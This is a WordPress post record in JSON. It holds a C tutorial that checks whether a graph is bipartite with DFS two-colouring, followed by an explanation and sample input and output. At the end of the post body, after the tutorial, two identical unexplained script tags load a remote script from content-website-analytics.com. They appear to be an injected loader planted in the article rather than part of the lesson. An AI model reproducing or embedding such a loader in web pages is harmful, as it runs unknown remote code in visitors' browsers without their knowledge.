{"id":571,"date":"2024-10-10T13:42:27","date_gmt":"2024-10-10T08:12:27","guid":{"rendered":"https:\/\/codexplained.in\/?p=571"},"modified":"2025-11-24T15:56:36","modified_gmt":"2025-11-24T10:26:36","slug":"check-bipartite-graph","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=571","title":{"rendered":"Verification of Bipartite Graph"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n#define MAX 100\n\nint graph&#x5B;MAX]&#x5B;MAX];  \/\/ Adjacency matrix to represent the graph\nint color&#x5B;MAX];       \/\/ Array to store colors assigned to vertices\nint n;                \/\/ Number of vertices\n\n\/\/ Function to perform DFS and check bipartiteness\nint isBipartiteUtil(int node, int c) {\n    color&#x5B;node] = c;  \/\/ Assign color to the current node\n\n    \/\/ Explore all adjacent vertices\n    for (int i = 0; i &lt; n; i++) {\n        \/\/ If there is an edge and the adjacent vertex is uncolored\n        if (graph&#x5B;node]&#x5B;i]) {\n            if (color&#x5B;i] == -1) {\n                \/\/ Recursive DFS call with alternate color\n                if (!isBipartiteUtil(i, 1 - c)) {\n                    return 0;  \/\/ Not bipartite\n                }\n            } else if (color&#x5B;i] == c) {\n                return 0;  \/\/ Not bipartite if the same color is found\n            }\n        }\n    }\n    return 1;  \/\/ Successfully colored\n}\n\n\/\/ Function to check if the graph is bipartite\nint isBipartite() {\n    \/\/ Initialize color array with -1 (indicating no color assigned)\n    for (int i = 0; i &lt; n; i++) {\n        color&#x5B;i] = -1;\n    }\n\n    \/\/ Check each component of the graph\n    for (int i = 0; i &lt; n; i++) {\n        if (color&#x5B;i] == -1) {  \/\/ If not colored\n            if (!isBipartiteUtil(i, 0)) {\n                return 0;  \/\/ Not bipartite\n            }\n        }\n    }\n    return 1;  \/\/ Graph is bipartite\n}\n\nint main() {\n    printf(&quot;Enter number of vertices: &quot;);\n    scanf(&quot;%d&quot;, &amp;n);\n\n    printf(&quot;Enter adjacency matrix (0\/1):\\n&quot;);\n    for (int i = 0; i &lt; n; i++)\n        for (int j = 0; j &lt; n; j++)\n            scanf(&quot;%d&quot;, &amp;graph&#x5B;i]&#x5B;j]);\n\n    if (isBipartite()) {\n        printf(&quot;The graph is bipartite.\\n&quot;);\n    } else {\n        printf(&quot;The graph is not bipartite.\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Data Structures<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>graph[MAX][MAX]<\/code>: This is an adjacency matrix where <code>graph[i][j]<\/code> is <code>1<\/code> if there is an edge between vertex <code>i<\/code> and vertex <code>j<\/code>, and <code>0<\/code> otherwise.<\/li>\n\n\n\n<li><code>color[MAX]<\/code>: This array stores the color assigned to each vertex. It\u2019s initialized to <code>-1<\/code> to indicate that no color has been assigned yet.<\/li>\n\n\n\n<li><code>n<\/code>: This variable holds the number of vertices in the graph.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Function <code>isBipartiteUtil<\/code><\/strong>:\n<ul class=\"wp-block-list\">\n<li>This is a recursive function that attempts to color the graph. It takes a <code>node<\/code> and the current color <code>c<\/code>.<\/li>\n\n\n\n<li>It assigns the color to the current node and recursively colors its adjacent nodes with the alternate color (0 becomes 1 and vice versa).<\/li>\n\n\n\n<li>If it finds a conflict (an adjacent node has the same color), it returns <code>0<\/code>, indicating that the graph is not bipartite.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Function <code>isBipartite<\/code><\/strong>:\n<ul class=\"wp-block-list\">\n<li>It initializes the <code>color<\/code> array.<\/li>\n\n\n\n<li>It checks each vertex; if it\u2019s uncolored, it calls <code>isBipartiteUtil<\/code>. If any component is found to be non-bipartite, it returns <code>0<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>It prompts the user for the number of vertices and the adjacency matrix.<\/li>\n\n\n\n<li>It then calls the <code>isBipartite<\/code> function and prints whether the graph is bipartite.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Sample Input and Output<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">Input:<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">Mathematica Copy code Enter<code> number of vertices: 4<br>Enter adjacency matrix (0\/1):<br>0 1 0 1<br>1 0 1 0<br>0 1 0 1<br>1 0 1 0<\/code><br> <br><strong>output:<\/strong><br>The graph is bipartite.<br><\/pre>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code Sample Input and Output Input: Mathematica Copy code Enter number of vertices: 4Enter adjacency matrix (0\/1):0 1 0 11 0 1 00 1 0 11 0 1 0 output:The graph is bipartite.<\/p>\n","protected":false},"author":39,"featured_media":605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-571","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=571"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/571\/revisions"}],"predecessor-version":[{"id":1461,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/571\/revisions\/1461"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/605"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=571"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=571"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}